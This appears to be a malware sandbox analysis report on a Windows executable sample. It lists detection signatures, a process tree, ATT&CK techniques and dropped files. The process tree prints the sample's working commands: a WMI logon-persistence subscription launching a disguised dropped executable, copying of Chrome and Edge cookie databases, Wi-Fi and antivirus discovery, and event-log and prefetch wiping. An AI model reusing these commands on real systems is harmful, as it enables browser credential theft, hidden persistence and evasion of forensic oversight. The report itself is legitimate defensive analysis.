Overview

overview

10

Static

static

10

2026-08-07...lc.exe

windows10-2004-x64

9

2026-08-07...lc.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/08/2026, 19:50

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-07_81675cfb5211dc20cdbf89b5756e72ff_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 458KB
  • Sample260807-ykn37avyft
  • SHA256 eab711e6d34df59df993829b57412b922133e058bc8e38e223da66cf01067332
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwarespywarestealer

Malware Config

Signatures

  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Custom signature
    Detects executables containing commands for clearing Windows Event Logs 7 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 9 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 61 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-07_81675cfb5211dc20cdbf89b5756e72ff_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-07_81675cfb5211dc20cdbf89b5756e72ff_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: RenamesItself
    • Suspicious use of WriteProcessMemory
    PID:4264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -W Hidden -C "$ns='ROOT/subscription';Get-WmiObject -Namespace $ns -Class __EventFilter -Filter "Name='BG_F'"| Remove-WmiObject;Get-WmiObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='BG_C'"| Remove-WmiObject;Get-WmiObject -Namespace $ns -Class __FilterToConsumerBinding| ?{$_.Filter -match 'BG_F'}| Remove-WmiObject;$f=Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments @{Name='BG_F';EventNameSpace='root/cimv2';QueryLanguage='WQL';Query='SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA "Win32_LogonSession"'};$c=Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments @{Name='BG_C';CommandLineTemplate='"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsSecurityHealthService.exe" --startup'};Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$f;Consumer=$c};"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4268
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c for /L %i in (1,1,100) do (del /f /q "C:\Users\Admin\AppData\Local\Temp\bg_melt_240745078.exe" & if not exist "C:\Users\Admin\AppData\Local\Temp\bg_melt_240745078.exe" exit & ping 127.0.0.1 -n 2 >nul)
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Internet Connection Discovery
      PID:4396
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c netsh wlan show profiles
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Wi-Fi Discovery
      • Suspicious use of WriteProcessMemory
      PID:1140
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3052
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ver
      2⤵
      • Executes a command shell one-liner
      PID:5708
    • C:\Windows\SYSTEM32\esentutl.exe
      esentutl.exe /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /d "C:\Users\Admin\AppData\Local\Temp\bg_240737234\rblx_Chrome_Default.db" /o
      2⤵
        PID:4972
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c powershell -NoProfile -c "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content" 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1652
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -c "(Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing).Content"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6008
      • C:\Windows\SYSTEM32\esentutl.exe
        esentutl.exe /y "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" /d "C:\Users\Admin\AppData\Local\Temp\bg_240737234\rblx_Edge_Default.db" /o
        2⤵
          PID:3572
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c powershell -NoProfile -c "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select -Expand displayName" 2>nul
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -c "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select -Expand displayName"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4728
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c del /f /q C:\Windows\Prefetch\*.pf 2>nul
          2⤵
            PID:3940
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c powershell -NoProfile -c "Get-EventLog -LogName * 2>$null | ForEach-Object { try { Clear-EventLog -LogName $_.Log 2>$null } catch {} }" 2>nul
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2156
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -c "Get-EventLog -LogName * 2>$null | ForEach-Object { try { Clear-EventLog -LogName $_.Log 2>$null } catch {} }"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1108
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c wevtutil cl Application 2>nul
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2388
            • C:\Windows\system32\wevtutil.exe
              wevtutil cl Application
              3⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:4980
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c wevtutil cl Security 2>nul
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3964
            • C:\Windows\system32\wevtutil.exe
              wevtutil cl Security
              3⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:4144
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c wevtutil cl System 2>nul
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3692
            • C:\Windows\system32\wevtutil.exe
              wevtutil cl System
              3⤵
              • Clears Windows event logs
              • Suspicious use of AdjustPrivilegeToken
              PID:2840
          • C:\Windows\SYSTEM32\cmd.exe
            cmd /c del /f /q "%TEMP%\bg_*" 2>nul
            2⤵
              PID:4992
          • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService.exe
            1⤵
            • Executes dropped EXE
            PID:3216

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                2
                T1059

                PowerShell

                1
                T1059.001

                Windows Command Shell

                1
                T1059.003

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Defense Evasion

                Indicator Removal

                2
                T1070

                Clear Windows Event Logs

                1
                T1070.001

                File Deletion

                1
                T1070.004

                Modify Registry

                1
                T1112

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                1
                T1552

                Credentials In Files

                1
                T1552.001

                Discovery

                System Information Discovery

                1
                T1082

                System Network Configuration Discovery

                3
                T1016

                Internet Connection Discovery

                2
                T1016.001

                Wi-Fi Discovery

                1
                T1016.002

                Lateral Movement

                Collection

                Data from Local System

                1
                T1005

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ModuleAnalysisCache
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 67KB
                • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 93ee657517bd5c234cc95b880e9f7ec5ebefe7fc3fa600bd646deea3f0539687
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 22a1e2a15c57506fa8c050689888da4ddcdeec843b4f607e2531711db0a612e4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9ecf454d8b55b7bc57249021d41b3bb8ae49c6db962c081c3fcfec87c41d5373
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __PSScriptPolicyTest_vcwko2by.tjf.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vcwko2by.tjf.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                rblx_Chrome_Default.db
                • Path C:\Users\Admin\AppData\Local\Temp\bg_240737234\rblx_Chrome_Default.db
                • Size 20KB
                • SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                rblx_Edge_Default.db
                • Path C:\Users\Admin\AppData\Local\Temp\bg_240737234\rblx_Edge_Default.db
                • Size 24KB
                • SHA256 4cc1a146d871eea502899024db7a2ff4ab46d4e787819a0fd75cc74aa7dd9926
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                bg_debug.log
                • Path C:\Users\Admin\AppData\Local\Temp\bg_debug.log
                • Size 128B
                • SHA256 304a47a7b7345e2a57808467d9b46db9f6d2cd11e8ba6df29b94fc6fb95237c4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                bg_debug.log
                • Path C:\Users\Admin\AppData\Local\Temp\bg_debug.log
                • Size 107B
                • SHA256 0d29e5fdaed3d460c26a7528f16ce1ea22bd10649598191e78d46ab71bed42a1
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                WindowsSecurityHealthService.exe
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService.exe
                • Size 458KB
                • SHA256 eab711e6d34df59df993829b57412b922133e058bc8e38e223da66cf01067332
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/4264-123-0x00007FF6FCCB0000-0x00007FF6FCD27000-memory.dmp
                Download

                memory/4264-126-0x00007FF6FCCB0000-0x00007FF6FCD27000-memory.dmp
                Download

                memory/4264-100-0x00007FF6FCCB0000-0x00007FF6FCD27000-memory.dmp
                Download

                memory/4264-99-0x00007FF6FCCB0000-0x00007FF6FCD27000-memory.dmp
                Download

                memory/4264-129-0x00007FF6FCCB0000-0x00007FF6FCD27000-memory.dmp
                Download

                memory/4264-139-0x00007FF6FCCB0000-0x00007FF6FCD27000-memory.dmp
                Download

                memory/4268-14-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-11-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-7-0x00000221F3780000-0x00000221F37A2000-memory.dmp
                Download

                memory/4268-18-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-16-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-15-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-3-0x00007FFCFEB4F000-0x00007FFCFEB50000-memory.dmp
                Download

                memory/4268-13-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-12-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-4-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-8-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-9-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4268-10-0x00007FFCFE9C0000-0x00007FFCFF364000-memory.dmp
                Download

                memory/4728-115-0x0000020D21240000-0x0000020D212F2000-memory.dmp
                Download

                memory/4728-118-0x0000020D20FB0000-0x0000020D20FD4000-memory.dmp
                Download

                memory/4728-117-0x0000020D20FB0000-0x0000020D20FDA000-memory.dmp
                Download

                memory/4728-116-0x0000020D20F50000-0x0000020D20F5A000-memory.dmp
                Download

                memory/4728-114-0x0000020D20F60000-0x0000020D20F7E000-memory.dmp
                Download

                memory/4972-47-0x000002DF83B20000-0x000002DF83B30000-memory.dmp
                Download

                memory/4972-22-0x000002DF83660000-0x000002DF83670000-memory.dmp
                Download